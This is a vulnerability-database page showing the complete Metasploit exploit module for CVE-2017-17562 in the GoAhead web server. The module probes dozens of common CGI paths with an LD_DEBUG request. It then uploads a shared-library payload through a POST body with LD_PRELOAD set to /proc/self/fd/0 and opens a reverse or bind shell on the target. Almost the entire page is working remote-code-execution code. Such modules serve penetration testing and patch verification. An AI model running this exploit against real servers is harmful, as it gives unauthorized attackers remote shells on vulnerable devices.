Lucene search
+L

GoAhead Web Server LD_PRELOAD Arbitrary Module Load

🗓️ 18 Dec 2017 00:00:00Reported by Daniel Hodson <[email protected]>, h00die, hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 75 Views

GoAhead Web Server LD_PRELOAD Arbitrary Module Load. Triggers arbitrary shared library load in GoAhead web server versions 2.5 and above with CGI module enable

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
        'Description' => %q{
          This module triggers an arbitrary shared library load vulnerability
          in GoAhead web server versions between 2.5 and that have the CGI module
          enabled.
        },
        'Author' => [
          'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
          'h00die',                                  # Metasploit Module
          'hdm',                                     # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-17562' ],
          [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
        ],
        'Payload' => {
          'Space' => 5000,
          'DisableNops' => true
        },
        'Platform' => 'linux',
        'Targets' => [

          [
            'Automatic (Reverse Shell)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_reverse_stub',
                  'ConnectionType' => 'reverse',
                }
              }
            }
          ],

          [
            'Automatic (Bind Shell)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_bind_stub',
                  'ConnectionType' => 'bind'
                }
              }
            }
          ],

          [
            'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],

          # PowerPC stubs are currently over the 16384 maximum POST size
          # [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          # [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],

          [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
        ],
        'DefaultOptions' => {
          'SHELL' => '/bin/sh',
        },
        'Privileged' => false,
        'DisclosureDate' => '2017-12-18', # June 9th, technically, via github commit.
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
      ]
    )
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @@payload_arch_mappings = {
      ARCH_X86 => [ 'x86' ],
      ARCH_X64 => [ 'x86_64' ],
      ARCH_MIPS => [ 'mips' ],
      ARCH_MIPSLE => [ 'mipsel' ],
      ARCH_MIPSBE => [ 'mips' ],
      ARCH_MIPS64 => [ 'mips64' ],
      ARCH_MIPS64LE => [ 'mips64el' ],

      # PowerPC stubs are currently over the 16384 maximum POST size
      # ARCH_PPC      => [ 'powerpc' ],
      # ARCH_PPC64    => [ 'powerpc64' ],
      # ARCH_PPC64LE  => [ 'powerpc64le' ],

      ARCH_SPARC => [ 'sparc' ],
      ARCH_SPARC64 => [ 'sparc64' ],
      ARCH_ARMLE => [ 'armel', 'armhf' ],
      ARCH_AARCH64 => [ 'aarch64' ],
      ARCH_ZARCH => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)

      # Default to a system() template
      template_type = 'system'

      # Handle reverse_tcp() templates
      if target['ReverseStub']
        template_type = 'reverse'
      end

      # Handle reverse_tcp() templates
      if target['BindStub']
        template_type = 'bind'
      end

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Prioritize the most common architectures first
      %W{x86_64 x86 armel armhf mips mipsel}.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that may have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|
      # Cycle through each template and yield
      template_list.each do |t_arch|
        wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        unless ::File.exist?(wrapper_path)
          raise RuntimeError.new("Missing executable template at #{wrapper_path}")
        end

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        if %W{reverse bind}.include?(template_type)
          pidx = data.index("55555")
          if pidx
            data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
          end
        end

        if 'reverse' == template_type
          pidx = data.index("000.000.000.000")
          if pidx
            data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
          end
        end

        vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
        yield(data)

        # Introduce a small delay for the payload to stage
        Rex.sleep(0.50)

        # Short-circuit once we have a session
        return if session_created?
      end
    end
  end

  # Start the shell train
  def exploit
    # Find a valid CGI target
    target_uri = find_target_cgi
    return unless target_uri

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
      # Trigger the vulnerability and run the payload
      trigger_payload(target_uri, wrapped_payload)
      return if session_created?
    end
  end

  # Determine whether the target is exploitable
  def check
    # Find a valid CGI target
    target_uri = find_target_cgi
    unless target_uri
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  # Upload and LD_PRELOAD execute the shared library payload
  def trigger_payload(target_uri, wrapped_payload)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri),
      'vars_get' => {
        'LD_PRELOAD' => '/proc/self/fd/0'
      },
      'data' => wrapped_payload
    })

    nil
  end

  # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
  def find_target_cgi
    target_uris = []
    common_dirs = %W^
      /
      /cgi-bin/
      /cgi/
    ^
    common_exts = ["", ".cgi"]
    common_cgis = %W^
      admin
      apply
      non-CA-rev
      checkCookie
      check_user
      chn/liveView
      cht/liveView
      cnswebserver
      config
      configure/set_link_neg
      configure/swports_adjust
      eng/liveView
      firmware
      getCheckCode
      get_status
      getmac
      getparam
      guest/Login
      home
      htmlmgr
      index
      index/login
      jscript
      kvm
      liveView
      login
      login.asp
      login/login
      login/login-page
      login_mgr
      luci
      main
      main-cgi
      manage/login
      menu
      mlogin
      netbinary
      nobody/Captcha
      nobody/VerifyCode
      normal_userLogin
      otgw
      page
      rulectl
      service
      set_new_config
      sl_webviewer
      ssi
      status
      sysconf
      systemutil
      t/out
      top
      unauth
      upload
      variable
      wanstatu
      webcm
      webmain
      webproc
      webscr
      webviewLogin
      webviewLogin_m64
      webviewer
      welcome
      cgitest
    ^

    if datastore['TARGET_URI'].to_s.length > 0
      target_uris << datastore['TARGET_URI']
    end

    common_dirs.each do |cgi_dir|
      common_cgis.each do |cgi_path|
        common_exts.each do |cgi_ext|
          target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
        end
      end
    end

    print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")

    target_uris.each do |uri|
      if is_cgi_exploitable?(uri)
        print_good("Exploitable CGI located at #{uri}")
        return uri
      end
    end

    print_error("No valid CGI endpoints identified")
    return
  end

  # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
  def is_cgi_exploitable?(uri)
    res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' } })

    if res
      vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
    else
      vprint_status("Request for #{uri} did not return a response")
    end

    !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
  end

  # This sometimes determines if the CGI module is enabled, but doesn't seem
  # to return the error to the client in newer versions. Unused for now.
  def is_cgi_enabled?
    return true
    res = send_request_cgi({ 'uri' => "/cgi-bin" })
    !!(res && res.body && res.body.to_s.include?("Missing CGI name"))
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation